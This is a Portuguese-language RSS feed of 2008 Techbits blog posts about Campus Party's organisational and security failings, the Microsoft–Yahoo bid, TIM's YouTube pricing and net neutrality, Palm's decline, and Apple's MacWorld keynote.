<p>Bom, claro, há muito mais assuntos que deixei de escrever. De repente faço uma segunda edição deste post, se os editores permitirem. Outra solução, melhor, arranjarei um jeito de citar esses assuntos em posts futuros. Pra finalizar, eu sei, preciso escrever com mais freqüência&#8230; um leitor até me cobrou isso ameaçando desassinar o feed. Espero que ele volte!</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/textos-que-nao-escrevi/">Textos que não escrevi</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>Campus Party: falhas, falhas e falhas</title>
		<link>https://techbits.com.br/2008/campus-party-falhas-falhas-e-falhas/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 16 Feb 2008 17:26:28 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[campus party]]></category>
		<category><![CDATA[campusparty]]></category>
		<category><![CDATA[falhas]]></category>
		<category><![CDATA[neandertal]]></category>
		<category><![CDATA[segurança]]></category>
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					<description><![CDATA[<p>Olha só que divertido. Resolvi acompanhar a coletiva de imprensa final do Campus Party como blogueiro do Techbits. Depois de muito discurso finalmente chegou o momento das perguntas. Como estava com algo entalado na garganta resolvi levantar a mão para pedir o microfone. A moça que controlava a ordem das perguntas logo chegou questionando se [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/campus-party-falhas-falhas-e-falhas/">Campus Party: falhas, falhas e falhas</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/cparty.png" alt="Campus Party 2008 " />Olha só que divertido. Resolvi acompanhar a coletiva de imprensa final do Campus Party como blogueiro do Techbits. Depois de muito discurso finalmente chegou o momento das perguntas. Como estava com algo entalado na garganta resolvi levantar a mão para pedir o microfone. A moça que controlava a ordem das perguntas logo chegou questionando se eu era de algum veículo. Normal, ela nunca deve ter me visto na vida.</p>
<h3>Falha 1</h3>
<p>&#8220;Sim, sou do blog Techbits&#8221;, respondi. E ela: &#8220;&#8230; é&#8230; nós estamos dando preferência primeiro para veículos de imprensa. Eu vou lá (<a href="http://www.brainstorm9.com.br/2008/02/14/campus-party-dinossauro-invade-aquario-dos-jornalistas/" title="apontou para os dinossauros" id="n5lz">apontou para os dinossauros</a>) e se der você pergunta no final.&#8221;. Como? Questionei esse modus operandi, disse que eu sou um veículo como outro qualquer, que história é essa que blogs não podem perguntar na ordem da fila e só se sobrar tempo? Será que ela não viu nenhuma das inúmeras discussões sobre esse assunto que rolaram durante a semana?</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/jornal-neandertal.jpg" alt="Jornal Neandertal " /></p>
<p>No final consegui meu espaço e, claro, resolvi criticar na frente do trio organizador do evento o que tinha acabado de acontecer. Eu quis enteder por que diabos eles acabaram de se vangloriar de que o Campus Party Brasil teve 70% da banda usada para upload (ou seja, UGC segundo eles) e eu, que faço parte desse fenômeno, tinha que ficar à margem em uma coletiva? Os organizadores ficaram indignados com meu questionamento&#8230; Seriam eles dinossauros disfarçados?</p>
<h3>Falha 2</h3>
<p>Pra finalizar, já que estava em poder do microfone, fiz a minha pergunta planejada. Questionei o procedimento de segurança em relação aos nossos notebooks e computadores. Foi sorte não terem roubado nada. Vamos ver se eu entendi&#8230; eu subo à área de computadores com um notebook que ninguém sabe que é meu&#8230; circulo, circulo e na hora de ir embora tenho que provar que é meu&#8230; para provar é só ir aos postos de cadastros que se limitam a colar um adesivo violável com o número do seu RG. Hum&#8230;</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/notebooks-seguranca.jpg" alt="Notebooks inseguros?! " /></p>
<p>Quer dizer que se eu achar um note por aí sem esse adesivo e reclamar a propriedade, o note passa automaticamente a ser meu? Isso mesmo! Ao invés de cadastrarem nossos gadgets no momento do check-in no evento &#8211; o que seria mais lógico &#8211; cadastram sem critério algum&#8230; é só mostrar e dizer que é seu&#8230; Que lógica é essa? E eles disseram que eu estava ensinando o segredo ao ladrão, insinuando que provavelmente só eu pensei nisso. A informação não é livre? Eles mesmo disseram algo assim 15 minutos antes, na palestra coletiva. Sério, não entendi nada! Será que se eu tivesse me identificado como <a href="http://info.abril.com.br/aberto/infonews/022008/12022008-8.shl" title="blogueiro de aluguel" id="fsjn">blogueiro de aluguel</a>  da Intel o tratamento recebido teria sido diferente? Desculpem-me mas só entro as 16h&#8230;</p>
<h3>Falha 3</h3>
<p>Ninguém pode entrar no Campus Party depois da meia-noite. Claro, regras do parque. Mas então, por que diabos fizeram ontem uma festa em uma casa noturna grátis para os participantes? É só pra quem está hospedado em hotel/ mora em SP? Quem estava no prédio da Bienal sabe que se sair não volta&#8230; Regras do parque, tudo bem, mas então que façam a festa aqui dentro!</p>
<h3>Falha 4</h3>
<p>São três mil inscritos&#8230; cada um com um só crachá, não? O credenciamento de participantes foi extremamente falho. Um amigo meu está aqui com três crachás, sendo um deles do tipo &#8220;C&#8221;, de colaborador, verde. Mas ele não é colaborador do #cparty mas poderia facilmente colocar quem ele quisesse aqui dentro. Inclusive o ladrão citado pelos organizadores na falha 2. Claro, ele não fez nada disso, mas vi essa dos crachás múltiplos acontecerem com vários conhecidos meus. Espero que no ano que vem (e até 2013) essas e outras falhas sejam sanadas.</p>
<h3>Falha 5</h3>
<p>Ah, desisti&#8230; tá ficando um post gigante&#8230;</p>
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]]></content:encoded>
					
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		<title>Campus Party do conteúdo gerado pelo usuário</title>
		<link>https://techbits.com.br/2008/campus-party-do-conteudo-gerado-pelo-usuario/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 12 Feb 2008 15:26:55 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[campus party]]></category>
		<category><![CDATA[conteúdo]]></category>
		<category><![CDATA[multidão]]></category>
		<category><![CDATA[usuário]]></category>
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					<description><![CDATA[<p>Que o conteúdo gerado pelo usuário está na moda, não há dúvidas. Mas no Campus Party isso ficou evidenciado de forma extrema. Por todos os lugares que passei sempre via um notebook aberto, alguém tirando fotos, fatos sendo postados incessantemente no YouTube, Flickr, Twitter e blogs espalhados por aí. Um exemplo extremo do UGC é [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/cparty.png" alt="Campus Party" />Que o conteúdo gerado pelo usuário está na moda, não há dúvidas. Mas no <a href="http://www.campus-party.com.br/" title="Campus Party" id="epvj">Campus Party</a>  isso ficou evidenciado de forma extrema. Por todos os lugares que passei sempre via um notebook aberto, alguém tirando fotos, fatos sendo postados incessantemente no YouTube, Flickr, Twitter e blogs espalhados por aí.</p>
<p>Um exemplo extremo do UGC é o <a href="http://issomesmo.com/" title="Pedro Villalobos" id="qaui">Pedro Villalobos</a> que <a href="http://ustream.tv/channel/campusblog" title="está transmitindo o evento via streaming ao vivo pelo UStream" id="wxb1">está transmitindo o evento via streaming ao vivo pelo UStream</a>. Para não ficar para trás o <a href="http://tecnocracia.com.br" title="Manoel Netto" id="ceyw">Manoel Netto</a> também <a href="http://live.yahoo.com/campuspartybrasil" title="criou sua transmissão alternativa" id="bt:_">criou sua transmissão alternativa</a>, mas não garante transmissão integral. Apesar da banda gigante de 5Gbps fornecida pela Telefónica, <a href="http://twitter.com/manoelnetto/statuses/703853942" title="aparentemente hoje essa banda gigante está pedindo água" id="o1m4">aparentemente hoje o link está pedindo água</a>&#8230;</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/cparty-ugc.jpg" alt="Câmeras, ação! " class="floatTL" /></p>
<p>A foto acima foi tirada durante a abertura oficial do Campus Party, com a presença ilustre do hipnótico ministro da cultura, Gilberto Gil. Todo mundo o tempo todo com as câmeras digitais apontadas ora para o palco, <a href="http://blogs.intel.com/brasildigital/2008/02/campus_party_abertura_ao_ritmo.php" title="ora para as mulatas da Nêne de Vila Matilde" id="g4lp">ora para as mulatas da Nêne de Vila Matilde</a>. Enquanto todos registravam os momentos perdi um tempo tirando umas 20 fotos de pessoas tirando fotos, hehe! Afinal, conteúdo gerado pelo usuário está na moda e os blogs são uma das facetas desta forma de produzir.</p>
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		<title>Campus Party: maior evento de tecnologia e de hypes</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Mon, 11 Feb 2008 11:09:12 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[2008]]></category>
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					<description><![CDATA[<p>Hoje começa no prédio da Bienal, Parque do Ibirapuera, o Campus Party, provavelmente o maior evento de tecnologia do ano, pelo menos no Brasil. Reunidos lá, 3 mil geeks de todas as tribos, de áreas como blogs, games, software livre, desenvolvimento, robótica e astronomia, entre outros. Só pelas coisas que ouvi falar creio que algumas [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/cparty.png" alt="Campus Party " />Hoje começa no prédio da Bienal, Parque do Ibirapuera, o <a href="http://www.campus-party.com.br/" title="Campus Party" id="i-o.">Campus Party</a>, provavelmente o maior evento de tecnologia do ano, pelo menos no Brasil. Reunidos lá, 3 mil geeks de todas as tribos, de áreas como blogs, games, software livre, desenvolvimento, robótica e astronomia, entre outros.</p>
<p>Só pelas coisas que ouvi falar creio que algumas dezenas de hypes tentarão um lugar ao Sol no evento. Blogs-hype, blogueiros(as)-hype, empresas-hype, gamers-hype e por assim vai. Até o astronauta-ex-hype Marco Pontes deve aparecer por lá. Mas aí surge um problema, em um lugar onde todos são iguais quem for diferente é que chama a atenção.</p>
<p>Cada hype terá seu valor, cada hype vai chamar a atenção para uma marca ou serviço, mas as eyeballs têm seu limite, não conseguimos prestar atenção em tudo e mesmo para coisas tão passageiras quanto os hypes, <a href="https://techbits.com.br/2008/voce-e-meu-filtro/" title="precisamos de filtros" id="yajf">precisamos de filtros</a>.</p>
<p>Claro que o Twitter e o <a href="http://blogblogs.com.br/livestream/name/campuspartybr2008" title="Livestream do Blogblogs" id="x3_m">Livestream do Blogblogs</a> &#8211; ferramentas fundamentais para o #cparty &#8211; , nos ajudarão a filtrar o que é interessante do que não é.</p>
<p>Vou tentar ficar atento a tudo que acontece, nos mais diversos campi, e postar muito no Twitter e os fatos mais interessantes no Techbits. Também, adicionalmente, <a href="http://blogs.intel.com/brasildigital" title="estarei blogando para a Intel, no blog Brasil Digital" id="aaww">estarei blogando para a Intel, no blog Brasil Digital</a>  junto com outros blogueiros da nossa madura  blogosfera. Mas anote aí, em terra de hype quem não faz hype é Rei!</p>
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		<title>MS – 44bi + Y! &lt; G</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 01 Feb 2008 13:52:23 +0000</pubDate>
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		<category><![CDATA[negócios]]></category>
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					<description><![CDATA[<p>A véspera do feriadão tem sido quente no mercado de tecnologia, principalmente web. Sim, a Microsoft fez uma oferta de 44 bilhões (62% de ágio) pelo controle da Yahoo!, algo como 27 YouTubes. Eu já estava com o dedo no botão publicar para um outro texto quando alguém gritou no Twitter, parem as impressoras, vamos [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/flickr-bsod.png" alt="Flickr BSOD, by @gravehear"/>A véspera do feriadão tem sido quente no mercado de tecnologia, principalmente web. Sim, a Microsoft fez uma oferta de 44 bilhões (62% de ágio) pelo controle da Yahoo!, <a href="http://www.google.com.br/search?hl=pt-BR&amp;q=44%2C6%2F1%2C65&amp;btnG=Pesquisa+Google&amp;meta=" title="algo como 27 YouTubes" id="hb_6">algo como 27 YouTubes</a>. Eu já estava com o dedo no botão publicar para um outro texto <a href="http://twitter.com/gfelitti/statuses/665889972" title="quando alguém gritou no Twitter" id="b2zm">quando alguém gritou no Twitter</a>, parem as impressoras, vamos ter que rodar tudo novamente, entrou uma quentíssima.</p>
<p>Já não é de hoje que a gigante de Redmond mostra interesse no pessoal de Sunnyvale. Muitos rumores já circularam sobre esse possível negócio e sempre com cifras exorbitantes. A Microsoft morre de medo da Google, não há dúvidas agora. Claro, não demorou e no próprio Twitter já começaram as piadas&#8230; <a href="http://twitter.com/graveheart/statuses/666117412" title="Será que o Flickr agora vai dar BSDO?" id="mbew">Será que o Flickr agora vai dar BSDO?</a>, by <a href="http://www.guravehaato.info/" title="GuraveHaato desu ka?">GuraveHaato desu ka?</a>.</p>
<h3>Timing perdido</h3>
<p>A conta lá no título não fecha. Na verdade o sinal de menor deveria ser maior&#8230; eu sei, <a href="http://www.contraditorium.com/2006/10/31/rabo-de-arraia-no-dos-outros-refresco/" title="estou explicando a piada" id="gx:z">estou explicando a piada</a>&#8230; Mas não é piada, é a realidade. A Microsoft é um elefante gigante que demora para reagir. Deveria ter comprado o Yahoo! 3 anos atrás. Se fechar o negócio agora, vai ser só pra manter as aparências, pois seu negócio na web não é nada vistoso frente ao pessoal de Montain View.</p>
<p>Lembrem-se, a Microsoft demorou para acreditar que as internets teriam futuro. É famoso o memo do Bill Gates alertando o board da fabricante do Windows que teriam que prestar atenção nessa tal de internets. Os tubos talvez valham dinheiro, pensaram na época. O consultor deles deve ter sido o Ted Stevens.</p>
<p>O que será dos ótimos Flickr e Delicious se a negociação se concretizar só o tempo dirá. Só espero que não percam a aura cool e inovadora que por enquanto mantém na web.</p>
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		<title>Tim e YouTube: cheiro de Net Neutrality</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 31 Jan 2008 12:01:39 +0000</pubDate>
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					<description><![CDATA[<p>Peraí, deixa eu entender&#8230; saiu por toda a mídia tradicional que a Tim e a Google acabaram de fazer um acordo aqui no Brasil para disponibilizar o YouTube mobile para os clientes da operadora&#8230; Ok, tudo bem, nada de mais&#8230; se fosse só isso&#8230; Segundo as matérias que li quem quiser assistir a vídeos do [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/the-internets.gif" alt="The Internets (is a series of tubes) " />Peraí, deixa eu entender&#8230; <a href="http://www1.folha.uol.com.br/folha/informatica/ult124u368029.shtml" title="saiu por toda a mídia tradicional" id="ze2k">saiu por toda a mídia tradicional</a> que a Tim e a Google acabaram de fazer um acordo aqui no Brasil para disponibilizar o YouTube mobile para os clientes da operadora&#8230; Ok, tudo bem, nada de mais&#8230; se fosse só isso&#8230; Segundo as matérias que li quem quiser assistir a vídeos do Iutubiu precisa pagar R$ 2,10 por megabyte. <a href="http://www.tiagodoria.ig.com.br/">Cuma?</a> Sim, para assistir ao YouTube via rede celular TIM é necessário pagar dois reais e dez centavos por megabyte de tráfego de dados. WTF!?</p>
<p>Lembra daquela história de net neutrality, que gerou o termo &#8220;<a href="http://www.youtube.com/watch?v=BB2Xnu9xQVU" title="a series of tubes" id="jq40">a series of tubes</a>&#8221; quando falávamos das internets? Pois é&#8230; parece que a TIM está promovendo exatamente isso ao cobrar esse trocado por acesso privilegiado a algo que está livremente disponível na web. Mesmo que fosse <a href="http://clients.arranschlosberg.com/chuck/" title="Chuck Norris" id="tmgo">Chuck Norris</a>, tinha que ser de graça. Sim, estou reclamando de R$ 2,10 por megabyte (<a href="http://www.estadao.com.br/estadaodehoje/20080130/not_imp117313,0.php" title="R$ 1,50?" id="rji:">R$ 1,50?</a>). Sim, isso é um absurdo, na internet não deveria existir tarifa para tráfego de serviços abertos.</p>
<p>E, claro, a culpa não é só da operadora de capital italiano. A Google tem sua parcela de culpa, diga-se de passagem, fazendo algo muito feio, bobo e sujo nisso tudo. <a href="http://www.google.com/help/netneutrality.html" title="Não eram eles, diretamente de Montain View, que lutavam contra a cobrança de pedágio para maiores velocidades de dados nas internets, no case Net Neutrality no Senado americano??" id="n6jk">Não eram eles, diretamente de Montain View, que lutavam contra a cobrança de pedágio para maiores velocidades de dados nas internets, no case Net Neutrality no Senado americano??</a> Cadê a coerência <a href="http://www.undergoogle.com/blog/2005/09/confirmado-alexandre-hohagen-assume-o.html" title="Hohagem" id="r4xq">Hohagem</a>? Cadê a coerência, Eric Schmidt? Não estou encontrando&#8230; e, teoricamente, o Google é especialista em encontrar coisas&#8230;</p>
<p>Vamos jogar limpo, Google e TIM. Nós consumidores brasileiros não somos idiotas. Não apliquem aquilo que consideram asqueroso lá fora aqui no nosso país. Sério, confio nas duas empresas, ambas são minhas fornecedoras essenciais em termos de internet e mobilidade. Ausência de net neutrality, tô fora!</p>
<h4>Leia também:</h4>
<ul>
<li><a href="https://techbits.com.br/2006/a-internet-e-uma-serie-de-tubos/">A internet é uma série de tubos</a></li>
<li><a href="https://techbits.com.br/2007/a-internet-e-uma-serie-de-tubos-parte-65536/">A internet é uma série de tubos, parte 65536</a></li>
<li><a href="http://www.undergoogle.com/blog/2008/01/tim-leva-youtube-ao-celular-nao-obrigado.html">Tim leva Youtube ao Celular: Não obrigado!</a>, via UnderGoogle</li>
</ul>
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			</item>
		<item>
		<title>A Palm (finalmente) vai fechar?</title>
		<link>https://techbits.com.br/2008/a-palm-finalmente-vai-fechar/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 30 Jan 2008 12:34:09 +0000</pubDate>
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					<description><![CDATA[<p>Sou usuário de equipamentos produzidos pela Palm desde 2001. Já tive PDAs de vários modelos e agora sou um feliz dono de um Treo, sempre Palm &#8220;dead&#8221; OS. Apesar das críticas, a plataforma sempre me agradou devido à boa usabilidade frente aos concorrentes. Resisti fiel pois sempre acreditei na computação móvel sensata. Continuo acreditando neste [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/palminc.jpg" alt="Palm Inc" />Sou usuário de equipamentos produzidos pela Palm desde 2001. Já tive PDAs de vários modelos e agora sou um feliz dono de um Treo, sempre Palm &#8220;dead&#8221; OS. Apesar das críticas, a plataforma sempre me agradou devido à boa usabilidade frente aos concorrentes. Resisti fiel pois sempre acreditei na <a href="http://webinsider.uol.com.br/index.php/2004/12/22/por-uma-computacao-movel-sensata/" title="computação móvel sensata" id="otr3">computação móvel sensata</a>. Continuo acreditando neste conceito belamente defendido pelo <a href="http://sergioflima.pro.br/blogs/index.php/sergio-blog/" title="Sérgio Lima" id="p:1w">Sérgio Lima</a>.</p>
<p>Mas <a href="http://www.news.com/8301-13579_3-9857696-37.html" title="as notícias da semana passada" id="j4h8">as notícias da semana passada</a> sobre o fechamento das lojas exclusivas da Palm (todas) e também o anúncio simultâneo de uma promoção de descontos por parte da ex-inovadora de <a href="http://maps.google.com/maps/ms?ie=UTF8&amp;hl=pt-BR&amp;msa=0&amp;ll=37.393022,-122.04066&amp;spn=0.008183,0.014591&amp;t=h&amp;z=16&amp;om=0&amp;msid=115114561202281228311.000444ef04fb9a3561526" title="Sunnyvale" id="jets">Sunnyvale</a>, fez acender um alerta vermelho, daqueles bem chamativos, impossível de ignorar. Estaria a Palm preparando-se para fechar as portas?</p>
<p>Golpes recentes não faltaram a Ed Colligan e equipe. <a href="http://www.meiobit.com/palm_cancela_o_foleo" title="O Foleo foi cancelado às vésperas" id="kanj">O Foleo foi cancelado às vésperas</a> do (triunfal?) lançamento. A Apple lançou o MacBook Air, tudo que o Foleo gostaria de ser&#8230; O sistema operacional baseado em Linux da Palm está atrasado só alguns anos. A Google vai lançar nos próximos meses sua plataforma mobile Linux, tudo que o novo OS da Palm gostaria de ser&#8230;</p>
<p>Só esses dois fatores, o Air e o <a href="http://www.vejaisso.com/2007/11/06/gphone-acabou-google-android-e-o-que-o-google-ganha-com-isso/" title="Android" id="yq8v">Android</a>, já são um baque terrível nos planos da pioneira da computação móvel. Junte-se a isso fatores anteriores como ao erro estratégico de separar a unidade que fabricava o PalmOS e falha em reincorporá-la posteriormente, um sistema operacional antiquado em tempos de iPhone e a sangria constante no market share, e temos uma receita explosiva.</p>
<p><a href="https://techbits.com.br/2007/palmos-esta-vivo-mais-do-que-nunca/" title="Apesar de usuário satisfeito com a plataforma" id="b55m">Apesar de usuário satisfeito com a plataforma</a>, admito, não recomendo mais ninguém a comprar produtos desta, outrora, grife de fãs inveterados. Espere o Android, vá de Symbian, garanta-se no lado negro da força (Windows Mobile, para os não iniciados). Os sinais do fim da Palm estão claros como água.</p>
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		<title>Modelo de Negócios para documentos on-line</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 29 Jan 2008 12:17:49 +0000</pubDate>
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					<description><![CDATA[<p>Calma pessoal, o Techbits continua aqui. Acontece que no último mês o volume de trabalho triplicou e fiquei sem tempo pra postar. Claro, estou me reestruturando para não deixar o Techbits tanto tempo sem textos, mesmo por que nesta altura do campeonato há toda uma sorte de stakeholders que exigem satisfação, desde os fiéis leitores [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/scribd-slideshare.png" alt="Documentos on-line " />Calma pessoal, o Techbits continua aqui. Acontece que no último mês o volume de trabalho triplicou e fiquei sem tempo pra postar. Claro, estou me reestruturando para não deixar o Techbits tanto tempo sem textos, mesmo por que nesta altura do campeonato há toda uma sorte de stakeholders que exigem satisfação, desde os fiéis leitores a fornecedores. Mas não é sobre isso que estou blogando e sim sobre possíveis modelos de negócios para serviços de documentos on-line.</p>
<p>Uma das coisas que me chamam atenção são sites que hospedam documentos como o <a href="http://www.scribd.com/" title="Scribd" id="ujhx">Scribd</a> e o <a href="http://www.slideshare.net/" title="Slideshare" id="hbfq">Slideshare</a>. O Scribd, <a href="https://techbits.com.br/2007/scribd-o-youtube-dos-documentos/" title="creio que a maioria conheça" id="cz5b">creio que a maioria conheça</a>, possibilita upload de PDFs, DOCs, XLSs, etc &#8230; O Slideshare, como o próprio nome indica, é ideal para arquivos PPT. Ambos, a exemplo do YouTube, permitem &#8220;embedar&#8221; tais documentos dentro de simples páginas web.</p>
<p>Organizar documentos nas empresas é um caos. Coisas se perdem nas complicadas árvores e quem está acostumado com o sistema de tags, estranha a &#8220;old school&#8221; de coisas organizadas em pastas.</p>
<p>Não seria ótimo se todos os documentos corporativos estivessem <em>embedados</em> em páginas web e buscáveis através de tags, além dos métodos tradicionais? Usar Scribd e Slideshare resolveria o problema&#8230; em termos&#8230; pois a grande maioria desses documentos é confidencial. Nem uma conta corporativa com senha só para os colaboradores resolveria a questão. <a href="https://techbits.com.br/2006/voce-confiaria-seus-dados-estrategicos-ao-google/" title="Como confiar em armazenamento on-line de informação sensitiva?" id="zj1j">Como confiar em armazenamento on-line de informação sensitiva?</a></p>
<p>Uma solução que vejo e empresas vanguardistas certamente adotariam em um piscar de olhos é serviços como o Slideshare e Scribd venderem soluções que rodem localmente. Melhor, venderem o serviço e não o software em si, para ficarem dentro do modelo de SaaS. Você compraria ou sugeriria esta solução para a bagunça que é achar aquele arquivo na rede?</p>
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		<title>A Apple matou a mídia física</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 16 Jan 2008 04:23:35 +0000</pubDate>
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					<description><![CDATA[<p>Assisti ao keynote do Steve Jobs na MacWorld (veja o vídeo) e posso dizer, depois de acompanhar tantas apresentações do CEO da Apple, esse não foi dos mais empolgantes. Toda expectativa que se cria ao redor dos lançamentos da maçã fraqueja se a surpresa não for grande o suficiente para causar &#8220;ohhhs&#8221; de admiração. Mas [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/homer-ipod.png" alt="Homer iPod " />Assisti ao keynote do Steve Jobs na MacWorld (<a href="http://events.apple.com.edgesuite.net/f27853y2/event/index.html?internal=fj2l3s9dm" title="veja o vídeo" id="sr76">veja o vídeo</a>) e posso dizer, depois de acompanhar tantas apresentações do CEO da Apple, esse não foi dos mais empolgantes. Toda expectativa que se cria ao redor dos lançamentos da maçã fraqueja se a surpresa não for grande o suficiente para causar &#8220;ohhhs&#8221; de admiração. Mas como sempre é um prazer assistir, mesmo já sabendo dos principais pontos, pois o Steve é um showman genial.</p>
<p>A primeira coisa que se nota depois ver o keynote, é que a Apple simplesmente tomou a liderança e acabou com a mídia física. Claro, vai demorar anos até que esses disquinhos de plástico e alumínio realmente sumam de nossas vidas &#8211; como foi com o disquete de 3 1/2 &#8211; mas o primeiro passo foi dado. A iTunes lançou aluguel de filmes de 12 grandes estúdios de Hollywood, praticamente todos os que nos importa, via streaming ou download. O Apple TV não precisa mais de computador e permite a compra e o aluguel de mídia direto do sofá. O novo <a href="http://www.digitaldrops.com.br/drops/2008/01/macbook_air_o_notebook_mais_fi.html" title="MacBook Air" id="u5h4">MacBook Air</a> não tem drive óptico, ou seja, mídia física já era! Aliás, esse <a href="http://www.guileite.com/2008/01/15/macbook-air/" title="MacBook Air já deve ter virado sonho de consumo de todo übbergeek" id="p5h_">MacBook Air já deve ter virado sonho de consumo de todo übbergeek</a> do planeta Terra.</p>
<p>Faz tempo que nem esquento com essa briga que não leva a lugar algum do <a href="https://techbits.com.br/2006/blu-ray-vs-hd-dvd-quem-se-importa/" title="HD-DVD vs. Blu-Ray" id="tfs3">HD-DVD vs. Blu-Ray</a>. Cada vez faz menos sentido pensar em adquirir um equipamento desses. Concordo que no Brasil toda essa tecnologia de aluguel on-line de filmes vai demorar um pouco mais para chegar, mas toda essa estratégia faz sentido na direção de finalmente acabar com essa idéia antiga de suporte físico para nossos filmes. O mercado de música digital que o diga, Jobs já vendeu mais de 4 bilhões de faixas na iTMS. Claro, odeio DRM, mas isso é outra história&#8230;</p>
<h3>Blecaute no Twitter</h3>
<p>Todo hype e expectativa ao redor do keynote de abertura da MacWorld é exagerado, a ansiedade estraga a surpresa. No mundo conectado de hoje, ficamos sabendo primeiro na blogosfera e twittosfera. A blogosfera se vira bem em atender à demanda por informação. O Engadget faz esse trabalho <a href="http://www.engadget.com/2008/01/15/live-from-macworld-2008-steve-jobs-keynote/" title="O Engadget faz esse trabalho muito bem" id="oc1_">muito bem</a>, e o <a href="http://meiobit.com/macworld-2008-ao-vivo" title="Meio Bit também" id="jg:h">Meio Bit também</a>! Mesmo com milhares de hits por segundo em seus posts de <a href="http://www.mundotecno.info/empresas/macworld-2008-keynote-de-steve-jobs">live-blogging</a>, o site fica no ar e conseguimos acompanhar em tempo quase real tudo que acontece nos principais eventos do mundo. O mesmo não podemos dizer do Twitter&#8230;</p>
<p>O micro-blogging mais usado do mundo <a href="http://www.techcrunch.com/2008/01/15/twitter-fails-macworld-keynote-test/" title="não agüentou o tranco logo no início do keynote do Steve Jobs" id="ao1w">não agüentou o tranco logo no início do keynote do Steve Jobs</a>. Esse foi o primeiro keynote da MacWorld que a ferramenta enfrentou depois de sua popularização em Março do ano passado na SFSX, mas não resistiu. Nem a mensagem de que voltava &#8220;in a heartbeat&#8221; apareceu. Para mim o site do Twitter simplesmente ficou fora do ar. <a href="http://nardy.com.br">Alguns</a> disseram que as APIs funcionaram, mas o serviço deixou a desejar justo na hora que o mundo todo queria <a href="https://techbits.com.br/2007/twitter-ferramenta-de-flashmob/">ver o seu poder</a> a todo vapor. Vamos lá Twitter, o povo te adora! Não nos deixe na mão&#8230; o concorrente está a apenas um clique&#8230;</p>
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		<title>Você é meu filtro</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 09 Jan 2008 22:15:21 +0000</pubDate>
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					<description><![CDATA[<p>Já faz um tempo que o Google Reader começou a exibir as leituras compartilhadas de quem está na minha lista de contatos. Filtro! Vira e mexe recebemos dicas no Twitter de assuntos interessantes e por vezes inéditos. Filtro! No Via6 é possível não só compartilhar suas leituras em tempo real como enviar dicas aos amigos. [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/filtro.jpg" alt="Filtro " />Já faz um tempo que o Google Reader começou a exibir as <a href="http://googlediscovery.com/2007/12/15/google-reader-compartilha-feeds-com-contatos-do-google-talk/" title="leituras compartilhadas de quem está na minha lista de contatos" id="rj12">leituras compartilhadas de quem está na minha lista de contatos</a>. Filtro! Vira e mexe recebemos dicas no Twitter de assuntos interessantes e por vezes inéditos. Filtro! No Via6 é possível não só <a href="http://blog6.via6.com/acoes-externas-divulgue-atraves-dos-contatos-da-via6/" title="compartilhar suas leituras em tempo real" id="j5wx">compartilhar suas leituras em tempo real</a> como enviar dicas aos amigos. Com tantos filtros assim, não preciso mais de rss.</p>
<p>Na era da informação, do conteúdo gerado pelo usuário, a quantidade de textos que surgem para ler todos o dias ultrapassa o limite do tempo que nossas eyeballs podem se dedicar a cada item. Filtrar de maneira eficiente é imprescindível. Mais ainda, saber usar a informação é imprescindível.Quando comecei a usar o RSS imaginei que seria uma ótima forma de ficar por dentro dos assuntos. E é! Mas é necessário filtrar apenas o que é relevante e nem sempre temos disponibilidade para essa tarefa.</p>
<p>Filtros como as leituras compartilhadas do Google Reader ou dicas de leituras do <a href="http://www.stumbleupon.com/" title="StumbleUpon" id="hy1t">StumbleUpon</a>  tornam-se valiosas no sentido de economizar tempo. Claro, não vamos desassinar todos os RSS, mas usar ferramentas complementares para otimizar o tempo.</p>
<p>Para leigos o RSS parece não fazer sentido. Mas o formato não se resume a um mero suporte para distribuir a informação, é muito mais do que isso. É quase a essência por trás da web hoje. Informações trafegam mais facilmente, são misturadas no liquidificador, enfim, ficam mais fáceis de serem digeridas.</p>
